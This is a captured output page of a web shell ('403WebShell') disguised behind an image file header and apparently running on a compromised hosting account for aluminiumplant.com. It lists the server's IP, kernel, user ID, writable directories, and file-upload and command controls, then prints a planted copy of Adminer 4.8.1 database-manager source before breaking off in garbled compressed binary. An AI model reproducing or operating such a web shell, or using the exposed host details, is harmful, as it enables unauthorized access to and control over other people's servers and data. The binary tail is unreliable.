���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.163  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/aluminiumplant.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/aluminiumplant.com/public_html/adm.php
<?php
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @author Jakub Vrana, https://www.vrana.cz/
* @copyright 2007 Jakub Vrana
* @license https://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0
* @license https://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other)
* @version 4.8.1
*/function
adminer_errors($Cc,$Ec){return!!preg_match('~^(Trying to access array offset on value of type null|Undefined array key)~',$Ec);}error_reporting(6135);set_error_handler('adminer_errors',E_WARNING);$ad=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($ad||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$Ii=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($Ii)$$X=$Ii;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");function
connection(){global$g;return$g;}function
adminer(){global$b;return$b;}function
version(){global$ia;return$ia;}function
idf_unescape($v){if(!preg_match('~^[`'"]~',$v))return$v;$qe=substr($v,-1);return
str_replace($qe.$qe,$qe,substr($v,1,-1));}function
escape_string($X){return
substr(q($X),1,-1);}function
number($X){return
preg_replace('~[^0-9]+~','',$X);}function
number_type(){return'((?<!o)int(?!er)|numeric|real|float|double|decimal|money)';}function
remove_slashes($tg,$ad=false){if(function_exists("get_magic_quotes_gpc")&&get_magic_quotes_gpc()){while(list($z,$X)=each($tg)){foreach($X
as$he=>$W){unset($tg[$z][$he]);if(is_array($W)){$tg[$z][stripslashes($he)]=$W;$tg[]=&$tg[$z][stripslashes($he)];}else$tg[$z][stripslashes($he)]=($ad?$W:stripslashes($W));}}}}function
bracket_escape($v,$Na=false){static$ui=array(':'=>':1',']'=>':2','['=>':3','"'=>':4');return
strtr($v,($Na?array_flip($ui):$ui));}function
min_version($Zi,$De="",$h=null){global$g;if(!$h)$h=$g;$nh=$h->server_info;if($De&&preg_match('~([d.]+)-MariaDB~',$nh,$C)){$nh=$C[1];$Zi=$De;}return(version_compare($nh,$Zi)>=0);}function
charset($g){return(min_version("5.5.3",0,$g)?"utf8mb4":"utf8");}function
script($yh,$ti="n"){return"<script".nonce().">$yh</script>$ti";}function
script_src($Ni){return"<script src='".h($Ni)."'".nonce()."></script>n";}function
nonce(){return' nonce="'.get_nonce().'"';}function
target_blank(){return' target="_blank" rel="noreferrer noopener"';}function
h($P){return
str_replace("","&#0;",htmlspecialchars($P,ENT_QUOTES,'utf-8'));}function
nl_br($P){return
str_replace("n","<br>",$P);}function
checkbox($D,$Y,$db,$me="",$uf="",$hb="",$ne=""){$I="<input type='checkbox' name='$D' value='".h($Y)."'".($db?" checked":"").($ne?" aria-labelledby='$ne'":"").">".($uf?script("qsl('input').onclick = function () { $uf };",""):"");return($me!=""||$hb?"<label".($hb?" class='$hb'":"").">$I".h($me)."</label>":$I);}function
optionlist($_f,$gh=null,$Ri=false){$I="";foreach($_f
as$he=>$W){$Af=array($he=>$W);if(is_array($W)){$I.='<optgroup label="'.h($he).'">';$Af=$W;}foreach($Af
as$z=>$X)$I.='<option'.($Ri||is_string($z)?' value="'.h($z).'"':'').(($Ri||is_string($z)?(string)$z:$X)===$gh?' selected':'').'>'.h($X);if(is_array($W))$I.='</optgroup>';}return$I;}function
html_select($D,$_f,$Y="",$tf=true,$ne=""){if($tf)return"<select name='".h($D)."'".($ne?" aria-labelledby='$ne'":"").">".optionlist($_f,$Y)."</select>".(is_string($tf)?script("qsl('select').onchange = function () { $tf };",""):"");$I="";foreach($_f
as$z=>$X)$I.="<label><input type='radio' name='".h($D)."' value='".h($z)."'".($z==$Y?" checked":"").">".h($X)."</label>";return$I;}function
select_input($Ia,$_f,$Y="",$tf="",$fg=""){$Yh=($_f?"select":"input");return"<$Yh$Ia".($_f?"><option value=''>$fg".optionlist($_f,$Y,true)."</select>":" size='10' value='".h($Y)."' placeholder='$fg'>").($tf?script("qsl('$Yh').onchange = $tf;",""):"");}function
confirm($Ne="",$hh="qsl('input')"){return
script("$hh.onclick = function () { return confirm('".($Ne?js_escape($Ne):lang(0))."'); };","");}function
print_fieldset($u,$ve,$cj=false){echo"<fieldset><legend>","<a href='#fieldset-$u'>$ve</a>",script("qsl('a').onclick = partial(toggle, 'fieldset-$u');",""),"</legend>","<div id='fieldset-$u'".($cj?"":" class='hidden'").">n";}function
bold($Ua,$hb=""){return($Ua?" class='active $hb'":($hb?" class='$hb'":""));}function
odd($I=' class="odd"'){static$t=0;if(!$I)$t=-1;return($t++%2?$I:'');}function
js_escape($P){return
addcslashes($P,"rn'\/");}function
json_row($z,$X=null){static$bd=true;if($bd)echo"{";if($z!=""){echo($bd?"":",")."nt"".addcslashes($z,"rnt"\/").'": '.($X!==null?'"'.addcslashes($X,"rn"\/").'"':'null');$bd=false;}else{echo"n}n";$bd=true;}}function
ini_bool($Ud){$X=ini_get($Ud);return(preg_match('~^(on|true|yes)$~i',$X)||(int)$X);}function
sid(){static$I;if($I===null)$I=(SID&&!($_COOKIE&&ini_bool("session.use_cookies")));return$I;}function
set_password($Yi,$M,$V,$F){$_SESSION["pwds"][$Yi][$M][$V]=($_COOKIE["adminer_key"]&&is_string($F)?array(encrypt_string($F,$_COOKIE["adminer_key"])):$F);}function
get_password(){$I=get_session("pwds");if(is_array($I))$I=($_COOKIE["adminer_key"]?decrypt_string($I[0],$_COOKIE["adminer_key"]):false);return$I;}function
q($P){global$g;return$g->quote($P);}function
get_vals($G,$d=0){global$g;$I=array();$H=$g->query($G);if(is_object($H)){while($J=$H->fetch_row())$I[]=$J[$d];}return$I;}function
get_key_vals($G,$h=null,$qh=true){global$g;if(!is_object($h))$h=$g;$I=array();$H=$h->query($G);if(is_object($H)){while($J=$H->fetch_row()){if($qh)$I[$J[0]]=$J[1];else$I[]=$J[0];}}return$I;}function
get_rows($G,$h=null,$n="<p class='error'>"){global$g;$yb=(is_object($h)?$h:$g);$I=array();$H=$yb->query($G);if(is_object($H)){while($J=$H->fetch_assoc())$I[]=$J;}elseif(!$H&&!is_object($h)&&$n&&defined("PAGE_HEADER"))echo$n.error()."n";return$I;}function
unique_array($J,$x){foreach($x
as$w){if(preg_match("~PRIMARY|UNIQUE~",$w["type"])){$I=array();foreach($w["columns"]as$z){if(!isset($J[$z]))continue
2;$I[$z]=$J[$z];}return$I;}}}function
escape_key($z){if(preg_match('(^([w(]+)('.str_replace("_",".*",preg_quote(idf_escape("_"))).')([ w)]+)$)',$z,$C))return$C[1].idf_escape(idf_unescape($C[2])).$C[3];return
idf_escape($z);}function
where($Z,$p=array()){global$g,$y;$I=array();foreach((array)$Z["where"]as$z=>$X){$z=bracket_escape($z,1);$d=escape_key($z);$I[]=$d.($y=="sql"&&is_numeric($X)&&preg_match('~.~',$X)?" LIKE ".q($X):($y=="mssql"?" LIKE ".q(preg_replace('~[_%[]~','[]',$X)):" = ".unconvert_field($p[$z],q($X))));if($y=="sql"&&preg_match('~char|text~',$p[$z]["type"])&&preg_match("~[^ -@]~",$X))$I[]="$d = ".q($X)." COLLATE ".charset($g)."_bin";}foreach((array)$Z["null"]as$z)$I[]=escape_key($z)." IS NULL";return
implode(" AND ",$I);}function
where_check($X,$p=array()){parse_str($X,$bb);remove_slashes(array(&$bb));return
where($bb,$p);}function
where_link($t,$d,$Y,$wf="="){return"&where%5B$t%5D%5Bcol%5D=".urlencode($d)."&where%5B$t%5D%5Bop%5D=".urlencode(($Y!==null?$wf:"IS NULL"))."&where%5B$t%5D%5Bval%5D=".urlencode($Y);}function
convert_fields($e,$p,$L=array()){$I="";foreach($e
as$z=>$X){if($L&&!in_array(idf_escape($z),$L))continue;$Ga=convert_field($p[$z]);if($Ga)$I.=", $Ga AS ".idf_escape($z);}return$I;}function
cookie($D,$Y,$ye=2592000){global$ba;return
header("Set-Cookie: $D=".urlencode($Y).($ye?"; expires=".gmdate("D, d M Y H:i:s",time()+$ye)." GMT":"")."; path=".preg_replace('~?.*~','',$_SERVER["REQUEST_URI"]).($ba?"; secure":"")."; HttpOnly; SameSite=lax",false);}function
restart_session(){if(!ini_bool("session.use_cookies"))session_start();}function
stop_session($gd=false){$Qi=ini_bool("session.use_cookies");if(!$Qi||$gd){session_write_close();if($Qi&&@ini_set("session.use_cookies",false)===false)session_start();}}function&get_session($z){return$_SESSION[$z][DRIVER][SERVER][$_GET["username"]];}function
set_session($z,$X){$_SESSION[$z][DRIVER][SERVER][$_GET["username"]]=$X;}function
auth_url($Yi,$M,$V,$l=null){global$kc;preg_match('~([^?]*)??(.*)~',remove_from_uri(implode("|",array_keys($kc))."|username|".($l!==null?"db|":"").session_name()),$C);return"$C[1]?".(sid()?SID."&":"").($Yi!="server"||$M!=""?urlencode($Yi)."=".urlencode($M)."&":"")."username=".urlencode($V).($l!=""?"&db=".urlencode($l):"").($C[2]?"&$C[2]":"");}function
is_ajax(){return($_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest");}function
redirect($B,$Ne=null){if($Ne!==null){restart_session();$_SESSION["messages"][preg_replace('~^[^?]*~','',($B!==null?$B:$_SERVER["REQUEST_URI"]))][]=$Ne;}if($B!==null){if($B=="")$B=".";header("Location: $B");exit;}}function
query_redirect($G,$B,$Ne,$Dg=true,$Jc=true,$Tc=false,$gi=""){global$g,$n,$b;if($Jc){$Fh=microtime(true);$Tc=!$g->query($G);$gi=format_time($Fh);}$Ah="";if($G)$Ah=$b->messageQuery($G,$gi,$Tc);if($Tc){$n=error().$Ah.script("messagesPrint();");return
false;}if($Dg)redirect($B,$Ne.$Ah);return
true;}function
queries($G){global$g;static$yg=array();static$Fh;if(!$Fh)$Fh=microtime(true);if($G===null)return
array(implode("n",$yg),format_time($Fh));$yg[]=(preg_match('~;$~',$G)?"DELIMITER ;;n$G;nDELIMITER ":$G).";";return$g->query($G);}function
apply_queries($G,$S,$Fc='table'){foreach($S
as$Q){if(!queries("$G ".$Fc($Q)))return
false;}return
true;}function
queries_redirect($B,$Ne,$Dg){list($yg,$gi)=queries(null);return
query_redirect($yg,$B,$Ne,$Dg,false,!$Dg,$gi);}function
format_time($Fh){return
lang(1,max(0,microtime(true)-$Fh));}function
relative_uri(){return
str_replace(":","%3a",preg_replace('~^[^?]*/([^?]*)~','1',$_SERVER["REQUEST_URI"]));}function
remove_from_uri($Qf=""){return
substr(preg_replace("~(?<=[?&])($Qf".(SID?"":"|".session_name()).")=[^&]*&~",'',relative_uri()."&"),0,-1);}function
pagination($E,$Pb){return" ".($E==$Pb?$E+1:'<a href="'.h(remove_from_uri("page").($E?"&page=$E".($_GET["next"]?"&next=".urlencode($_GET["next"]):""):"")).'">'.($E+1)."</a>");}function
get_file($z,$Xb=false){$Zc=$_FILES[$z];if(!$Zc)return
null;foreach($Zc
as$z=>$X)$Zc[$z]=(array)$X;$I='';foreach($Zc["error"]as$z=>$n){if($n)return$n;$D=$Zc["name"][$z];$oi=$Zc["tmp_name"][$z];$Db=file_get_contents($Xb&&preg_match('~.gz$~',$D)?"compress.zlib://$oi":$oi);if($Xb){$Fh=substr($Db,0,3);if(function_exists("iconv")&&preg_match("~^xFExFF|^xFFxFE~",$Fh,$Jg))$Db=iconv("utf-16","utf-8",$Db);elseif($Fh=="xEFxBBxBF")$Db=substr($Db,3);$I.=$Db."nn";}else$I.=$Db;}return$I;}function
upload_error($n){$Ke=($n==UPLOAD_ERR_INI_SIZE?ini_get("upload_max_filesize"):0);return($n?lang(2).($Ke?" ".lang(3,$Ke):""):lang(4));}function
repeat_pattern($cg,$we){return
str_repeat("$cg{0,65535}",$we/65535)."$cg{0,".($we%65535)."}";}function
is_utf8($X){return(preg_match('~~u',$X)&&!preg_match('~[-x8xBxCxE-x1F]~',$X));}function
shorten_utf8($P,$we=80,$Mh=""){if(!preg_match("(^(".repeat_pattern("[trn -x{10FFFF}]",$we).")($)?)u",$P,$C))preg_match("(^(".repeat_pattern("[trn -~]",$we).")($)?)",$P,$C);return
h($C[1]).$Mh.(isset($C[2])?"":"<i>…</i>");}function
format_number($X){return
strtr(number_format($X,0,".",lang(5)),preg_split('~~u',lang(6),-1,PREG_SPLIT_NO_EMPTY));}function
friendly_url($X){return
preg_replace('~[^a-z0-9_]~i','-',$X);}function
hidden_fields($tg,$Jd=array(),$lg=''){$I=false;foreach($tg
as$z=>$X){if(!in_array($z,$Jd)){if(is_array($X))hidden_fields($X,array(),$z);else{$I=true;echo'<input type="hidden" name="'.h($lg?$lg."[$z]":$z).'" value="'.h($X).'">';}}}return$I;}function
hidden_fields_get(){echo(sid()?'<input type="hidden" name="'.session_name().'" value="'.h(session_id()).'">':''),(SERVER!==null?'<input type="hidden" name="'.DRIVER.'" value="'.h(SERVER).'">':""),'<input type="hidden" name="username" value="'.h($_GET["username"]).'">';}function
table_status1($Q,$Uc=false){$I=table_status($Q,$Uc);return($I?$I:array("Name"=>$Q));}function
column_foreign_keys($Q){global$b;$I=array();foreach($b->foreignKeys($Q)as$r){foreach($r["source"]as$X)$I[$X][]=$r;}return$I;}function
enum_input($T,$Ia,$o,$Y,$zc=null){global$b;preg_match_all("~'((?:[^']|'')*)'~",$o["length"],$Fe);$I=($zc!==null?"<label><input type='$T'$Ia value='$zc'".((is_array($Y)?in_array($zc,$Y):$Y===0)?" checked":"")."><i>".lang(7)."</i></label>":"");foreach($Fe[1]as$t=>$X){$X=stripcslashes(str_replace("''","'",$X));$db=(is_int($Y)?$Y==$t+1:(is_array($Y)?in_array($t+1,$Y):$Y===$X));$I.=" <label><input type='$T'$Ia value='".($t+1)."'".($db?' checked':'').'>'.h($b->editVal($X,$o)).'</label>';}return$I;}function
input($o,$Y,$s){global$U,$b,$y;$D=h(bracket_escape($o["field"]));echo"<td class='function'>";if(is_array($Y)&&!$s){$Ea=array($Y);if(version_compare(PHP_VERSION,5.4)>=0)$Ea[]=JSON_PRETTY_PRINT;$Y=call_user_func_array('json_encode',$Ea);$s="json";}$Ng=($y=="mssql"&&$o["auto_increment"]);if($Ng&&!$_POST["save"])$s=null;$pd=(isset($_GET["select"])||$Ng?array("orig"=>lang(8)):array())+$b->editFunctions($o);$Ia=" name='fields[$D]'";if($o["type"]=="enum")echo
h($pd[""])."<td>".$b->editInput($_GET["edit"],$o,$Ia,$Y);else{$zd=(in_array($s,$pd)||isset($pd[$s]));echo(count($pd)>1?"<select name='function[$D]'>".optionlist($pd,$s===null||$zd?$s:"")."</select>".on_help("getTarget(event).value.replace(/^SQL$/, '')",1).script("qsl('select').onchange = functionChange;",""):h(reset($pd))).'<td>';$Wd=$b->editInput($_GET["edit"],$o,$Ia,$Y);if($Wd!="")echo$Wd;elseif(preg_match('~bool~',$o["type"]))echo"<input type='hidden'$Ia value='0'>"."<input type='checkbox'".(preg_match('~^(1|t|true|y|yes|on)$~i',$Y)?" checked='checked'":"")."$Ia value='1'>";elseif($o["type"]=="set"){preg_match_all("~'((?:[^']|'')*)'~",$o["length"],$Fe);foreach($Fe[1]as$t=>$X){$X=stripcslashes(str_replace("''","'",$X));$db=(is_int($Y)?($Y>>$t)&1:in_array($X,explode(",",$Y),true));echo" <label><input type='checkbox' name='fields[$D][$t]' value='".(1<<$t)."'".($db?' checked':'').">".h($b->editVal($X,$o)).'</label>';}}elseif(preg_match('~blob|bytea|raw|file~',$o["type"])&&ini_bool("file_uploads"))echo"<input type='file' name='fields-$D'>";elseif(($ei=preg_match('~text|lob|memo~i',$o["type"]))||preg_match("~n~",$Y)){if($ei&&$y!="sqlite")$Ia.=" cols='50' rows='12'";else{$K=min(12,substr_count($Y,"n")+1);$Ia.=" cols='30' rows='$K'".($K==1?" style='height: 1.2em;'":"");}echo"<textarea$Ia>".h($Y).'</textarea>';}elseif($s=="json"||preg_match('~^jsonb?$~',$o["type"]))echo"<textarea$Ia cols='50' rows='12' class='jush-js'>".h($Y).'</textarea>';else{$Me=(!preg_match('~int~',$o["type"])&&preg_match('~^(d+)(,(d+))?$~',$o["length"],$C)?((preg_match("~binary~",$o["type"])?2:1)*$C[1]+($C[3]?1:0)+($C[2]&&!$o["unsigned"]?1:0)):($U[$o["type"]]?$U[$o["type"]]+($o["unsigned"]?0:1):0));if($y=='sql'&&min_version(5.6)&&preg_match('~time~',$o["type"]))$Me+=7;echo"<input".((!$zd||$s==="")&&preg_match('~(?<!o)int(?!er)~',$o["type"])&&!preg_match('~[]~',$o["full_type"])?" type='number'":"")." value='".h($Y)."'".($Me?" data-maxlength='$Me'":"").(preg_match('~char|binary~',$o["type"])&&$Me>20?" size='40'":"")."$Ia>";}echo$b->editHint($_GET["edit"],$o,$Y);$bd=0;foreach($pd
as$z=>$X){if($z===""||!$X)break;$bd++;}if($bd)echo
script("mixin(qsl('td'), {onchange: partial(skipOriginal, $bd), oninput: function () { this.onchange(); }});");}}function
process_input($o){global$b,$m;$v=bracket_escape($o["field"]);$s=$_POST["function"][$v];$Y=$_POST["fields"][$v];if($o["type"]=="enum"){if($Y==-1)return
false;if($Y=="")return"NULL";return+$Y;}if($o["auto_increment"]&&$Y=="")return
null;if($s=="orig")return(preg_match('~^CURRENT_TIMESTAMP~i',$o["on_update"])?idf_escape($o["field"]):false);if($s=="NULL")return"NULL";if($o["type"]=="set")return
array_sum((array)$Y);if($s=="json"){$s="";$Y=json_decode($Y,true);if(!is_array($Y))return
false;return$Y;}if(preg_match('~blob|bytea|raw|file~',$o["type"])&&ini_bool("file_uploads")){$Zc=get_file("fields-$v");if(!is_string($Zc))return
false;return$m->quoteBinary($Zc);}return$b->processInput($o,$Y,$s);}function
fields_from_edit(){global$m;$I=array();foreach((array)$_POST["field_keys"]as$z=>$X){if($X!=""){$X=bracket_escape($X);$_POST["function"][$X]=$_POST["field_funs"][$z];$_POST["fields"][$X]=$_POST["field_vals"][$z];}}foreach((array)$_POST["fields"]as$z=>$X){$D=bracket_escape($z,1);$I[$D]=array("field"=>$D,"privileges"=>array("insert"=>1,"update"=>1),"null"=>1,"auto_increment"=>($z==$m->primary),);}return$I;}function
search_tables(){global$b,$g;$_GET["where"][0]["val"]=$_POST["query"];$jh="<ul>n";foreach(table_status('',true)as$Q=>$R){$D=$b->tableName($R);if(isset($R["Engine"])&&$D!=""&&(!$_POST["tables"]||in_array($Q,$_POST["tables"]))){$H=$g->query("SELECT".limit("1 FROM ".table($Q)," WHERE ".implode(" AND ",$b->selectSearchProcess(fields($Q),array())),1));if(!$H||$H->fetch_row()){$pg="<a href='".h(ME."select=".urlencode($Q)."&where[0][op]=".urlencode($_GET["where"][0]["op"])."&where[0][val]=".urlencode($_GET["where"][0]["val"]))."'>$D</a>";echo"$jh<li>".($H?$pg:"<p class='error'>$pg: ".error())."n";$jh="";}}}echo($jh?"<p class='message'>".lang(9):"</ul>")."n";}function
dump_headers($Hd,$Ve=false){global$b;$I=$b->dumpHeaders($Hd,$Ve);$Mf=$_POST["output"];if($Mf!="text")header("Content-Disposition: attachment; filename=".$b->dumpFilename($Hd).".$I".($Mf!="file"&&preg_match('~^[0-9a-z]+$~',$Mf)?".$Mf":""));session_write_close();ob_flush();flush();return$I;}function
dump_csv($J){foreach($J
as$z=>$X){if(preg_match('~["n,;t]|^0|.d*0$~',$X)||$X==="")$J[$z]='"'.str_replace('"','""',$X).'"';}echo
implode(($_POST["format"]=="csv"?",":($_POST["format"]=="tsv"?"t":";")),$J)."rn";}function
apply_sql_function($s,$d){return($s?($s=="unixepoch"?"DATETIME($d, '$s')":($s=="count distinct"?"COUNT(DISTINCT ":strtoupper("$s("))."$d)"):$d);}function
get_temp_dir(){$I=ini_get("upload_tmp_dir");if(!$I){if(function_exists('sys_get_temp_dir'))$I=sys_get_temp_dir();else{$q=@tempnam("","");if(!$q)return
false;$I=dirname($q);unlink($q);}}return$I;}function
file_open_lock($q){$nd=@fopen($q,"r+");if(!$nd){$nd=@fopen($q,"w");if(!$nd)return;chmod($q,0660);}flock($nd,LOCK_EX);return$nd;}function
file_write_unlock($nd,$Rb){rewind($nd);fwrite($nd,$Rb);ftruncate($nd,strlen($Rb));flock($nd,LOCK_UN);fclose($nd);}function
password_file($i){$q=get_temp_dir()."/adminer.key";$I=@file_get_contents($q);if($I||!$i)return$I;$nd=@fopen($q,"w");if($nd){chmod($q,0660);$I=rand_string();fwrite($nd,$I);fclose($nd);}return$I;}function
rand_string(){return
md5(uniqid(mt_rand(),true));}function
select_value($X,$A,$o,$fi){global$b;if(is_array($X)){$I="";foreach($X
as$he=>$W)$I.="<tr>".($X!=array_values($X)?"<th>".h($he):"")."<td>".select_value($W,$A,$o,$fi);return"<table cellspacing='0'>$I</table>";}if(!$A)$A=$b->selectLink($X,$o);if($A===null){if(is_mail($X))$A="mailto:$X";if(is_url($X))$A=$X;}$I=$b->editVal($X,$o);if($I!==null){if(!is_utf8($I))$I="";elseif($fi!=""&&is_shortable($o))$I=shorten_utf8($I,max(0,+$fi));else$I=h($I);}return$b->selectVal($I,$A,$o,$X);}function
is_mail($wc){$Ha='[-a-z0-9!#$%&'*+/=?^_`{|}~]';$jc='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';$cg="$Ha+(\.$Ha+)*@($jc?\.)+$jc";return
is_string($wc)&&preg_match("(^$cg(,\s*$cg)*$)i",$wc);}function
is_url($P){$jc='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';return
preg_match("~^(https?)://($jc?\.)+$jc(:\d+)?(/.*)?(\?.*)?(#.*)?$~i",$P);}function
is_shortable($o){return
preg_match('~char|text|json|lob|geometry|point|linestring|polygon|string|bytea~',$o["type"]);}function
count_rows($Q,$Z,$ce,$sd){global$y;$G=" FROM ".table($Q).($Z?" WHERE ".implode(" AND ",$Z):"");return($ce&&($y=="sql"||count($sd)==1)?"SELECT COUNT(DISTINCT ".implode(", ",$sd).")$G":"SELECT COUNT(*)".($ce?" FROM (SELECT 1$G GROUP BY ".implode(", ",$sd).") x":$G));}function
slow_query($G){global$b,$qi,$m;$l=$b->database();$hi=$b->queryTimeout();$vh=$m->slowQuery($G,$hi);if(!$vh&&support("kill")&&is_object($h=connect())&&($l==""||$h->select_db($l))){$ke=$h->result(connection_id());echo'<script',nonce(),'>
var timeout = setTimeout(function () {
	ajax('',js_escape(ME),'script=kill', function () {
	}, 'kill=',$ke,'&token=',$qi,'');
}, ',1000*$hi,');
</script>
';}else$h=null;ob_flush();flush();$I=@get_key_vals(($vh?$vh:$G),$h,false);if($h){echo
script("clearTimeout(timeout);");ob_flush();flush();}return$I;}function
get_token(){$Ag=rand(1,1e6);return($Ag^$_SESSION["token"]).":$Ag";}function
verify_token(){list($qi,$Ag)=explode(":",$_POST["token"]);return($Ag^$_SESSION["token"])==$qi;}function
lzw_decompress($Ra){$gc=256;$Sa=8;$jb=array();$Pg=0;$Qg=0;for($t=0;$t<strlen($Ra);$t++){$Pg=($Pg<<8)+ord($Ra[$t]);$Qg+=8;if($Qg>=$Sa){$Qg-=$Sa;$jb[]=$Pg>>$Qg;$Pg&=(1<<$Qg)-1;$gc++;if($gc>>$Sa)$Sa++;}}$fc=range("","xFF");$I="";foreach($jb
as$t=>$ib){$vc=$fc[$ib];if(!isset($vc))$vc=$nj.$nj[0];$I.=$vc;if($t)$fc[]=$nj.$vc[0];$nj=$vc;}return$I;}function
on_help($rb,$sh=0){return
script("mixin(qsl('select, input'), {onmouseover: function (event) { helpMouseover.call(this, event, $rb, $sh) }, onmouseout: helpMouseout});","");}function
edit_form($Q,$p,$J,$Li){global$b,$y,$qi,$n;$Rh=$b->tableName(table_status1($Q,true));page_header(($Li?lang(10):lang(11)),$n,array("select"=>array($Q,$Rh)),$Rh);$b->editRowPrint($Q,$p,$J,$Li);if($J===false)echo"<p class='error'>".lang(12)."n";echo'<form action="" method="post" enctype="multipart/form-data" id="form">
';if(!$p)echo"<p class='error'>".lang(13)."n";else{echo"<table cellspacing='0' class='layout'>".script("qsl('table').onkeydown = editingKeydown;");foreach($p
as$D=>$o){echo"<tr><th>".$b->fieldName($o);$Yb=$_GET["set"][bracket_escape($D)];if($Yb===null){$Yb=$o["default"];if($o["type"]=="bit"&&preg_match("~^b'([01]*)'$~",$Yb,$Jg))$Yb=$Jg[1];}$Y=($J!==null?($J[$D]!=""&&$y=="sql"&&preg_match("~enum|set~",$o["type"])?(is_array($J[$D])?array_sum($J[$D]):+$J[$D]):(is_bool($J[$D])?+$J[$D]:$J[$D])):(!$Li&&$o["auto_increment"]?"":(isset($_GET["select"])?false:$Yb)));if(!$_POST["save"]&&is_string($Y))$Y=$b->editVal($Y,$o);$s=($_POST["save"]?(string)$_POST["function"][$D]:($Li&&preg_match('~^CURRENT_TIMESTAMP~i',$o["on_update"])?"now":($Y===false?null:($Y!==null?'':'NULL'))));if(!$_POST&&!$Li&&$Y==$o["default"]&&preg_match('~^[w.]+(~',$Y))$s="SQL";if(preg_match("~time~",$o["type"])&&preg_match('~^CURRENT_TIMESTAMP~i',$Y)){$Y="";$s="now";}input($o,$Y,$s);echo"n";}if(!support("table"))echo"<tr>"."<th><input name='field_keys[]'>".script("qsl('input').oninput = fieldChange;")."<td class='function'>".html_select("field_funs[]",$b->editFunctions(array("null"=>isset($_GET["select"]))))."<td><input name='field_vals[]'>"."n";echo"</table>n";}echo"<p>n";if($p){echo"<input type='submit' value='".lang(14)."'>n";if(!isset($_GET["select"])){echo"<input type='submit' name='insert' value='".($Li?lang(15):lang(16))."' title='Ctrl+Shift+Enter'>n",($Li?script("qsl('input').onclick = function () { return !ajaxForm(this.form, '".lang(17)."…', this); };"):"");}}echo($Li?"<input type='submit' name='delete' value='".lang(18)."'>".confirm()."n":($_POST||!$p?"":script("focus(qsa('td', qs('#form'))[1].firstChild);")));if(isset($_GET["select"]))hidden_fields(array("check"=>(array)$_POST["check"],"clone"=>$_POST["clone"],"all"=>$_POST["all"]));echo'<input type="hidden" name="referer" value="',h(isset($_POST["referer"])?$_POST["referer"]:$_SERVER["HTTP_REFERER"]),'">
<input type="hidden" name="save" value="1">
<input type="hidden" name="token" value="',$qi,'">
</form>
';}if(isset($_GET["file"])){if($_SERVER["HTTP_IF_MODIFIED_SINCE"]){header("HTTP/1.1 304 Not Modified");exit;}header("Expires: ".gmdate("D, d M Y H:i:s",time()+365*24*60*60)." GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");header("Cache-Control: immutable");if($_GET["file"]=="favicon.ico"){header("Content-Type: image/x-icon");echo
lzw_decompress("` �n @�C��"`E�Q����?�tvM'�Jd�d\�b0�"��fӈ��s5����A�XPaJ�0���8�#R�T��z`�#.��c�X�Ȁ?�-�Im?�.�M��ȯ(̉��/(%�");}elseif($_GET["file"]=="default.css"){header("Content-Type: text/css; charset=utf-8");echo
lzw_decompress("n1̇�ٌ�l7��B1�4vb0��fs���n2B�ѱ٘�n:�#(�b.rDc)��a7E����l�ñ��i1̎s���-4��f�	��i7�����t4���y�Zf4��i�AT�VV��f:Ϧ,:1�Qݼ�b2`�#�>:7G�1���s��L�XD*bv<܌#�e@�:4�!fo���t:<��咾�o��ni���',�a_�:�i�Bv�|N�4.5Nf�i�vp�h��l��֚�O����= �OFQ��k$��i����d2T�p��6�����-�Z�����6����h:�a�,����2�#8А�#��6n����J��h�t�����4O42�ok��*r���@p@�!�����?�6��r[��L��:2B�j�!Hb��P�=!1V�"��0��nS���D7��Dڛ�C!�!��Gʌ� �+�=tC�.C��:+��=�������%�c�1MR/�EȒ4���2�䱠�`�8(�ӹ[W��=�yS�b�=�-ܹBS+ɯ����@pL4Yd��q�����6�3Ĭ��Ac܌�Ψ�k�[&>���Z�pkm]�u-c:���Nt�δpҝ��8�=�#��[.��ޯ�~���m�y�PP�|I֛���Q�9v[�Q��n��r�'g�+��T�2��V��z�4��8��(	�Ey*#j�2]��R���)��[N�R$�<>:�>$;�>��r���H��T�nw�N �wأ��<��Gw��\Y�_�Rt^�>�r}��Srz�4=�nL�%J��",Z�8����i�0u�?����s3#�ى�:�㽖��E]x���s^8��K^�*0��w����~��:��i��v2w����^7���7�c��u+U%�{P�*4̼�LX./!��1C��qx!H��Fd��L���Ġ�`6��5��f��Ć�=H�l �V1��a2�;��6��_ه�&�Z�S�d)KE'��n��[X��ZɊ�F[P�ޘ@��!��Y�,`�"ڷ��0Ee9yF>��9b����F5:���}Ĵ��($����37H��� M�A��6R��{Mq�7G��C�C�m2�(�Ct>[�-t�/&C�]�etG�̬4@r>���<�Sq�/�Q�hm��������L��#��K�|���6fKP�r%t��V="�SH$�} ��)w�,WF��u@�b�9�rr�2�#�D��X���yOI�>��n��Ǣ%�'��_��trτz�\1�hl�]Q5Mp6k���qh�$�H~�|��!*4����`S�S t�PP\g��7�n-�:袪p����l�B���7Өc�(wO0\:��w���p4���{T�jO�6HÊ�r���qn��%%�y']$��a�Z�.fc�q*-�FW��k��z���j���lg�:�$"�N�r#�d�Â��sc�̠��"j�r�����Ւ�Ph�1/��DA)���[�kn�p76�Y��R{�M�P���@n-�a�6��[�zJH,�dl�B�h�o�����+�#Dr^�^��e��E��� ĜaP��JG�z��t�2�X�����V�����ȳ��B_%K=E��b弾�§kU(.!ܮ8����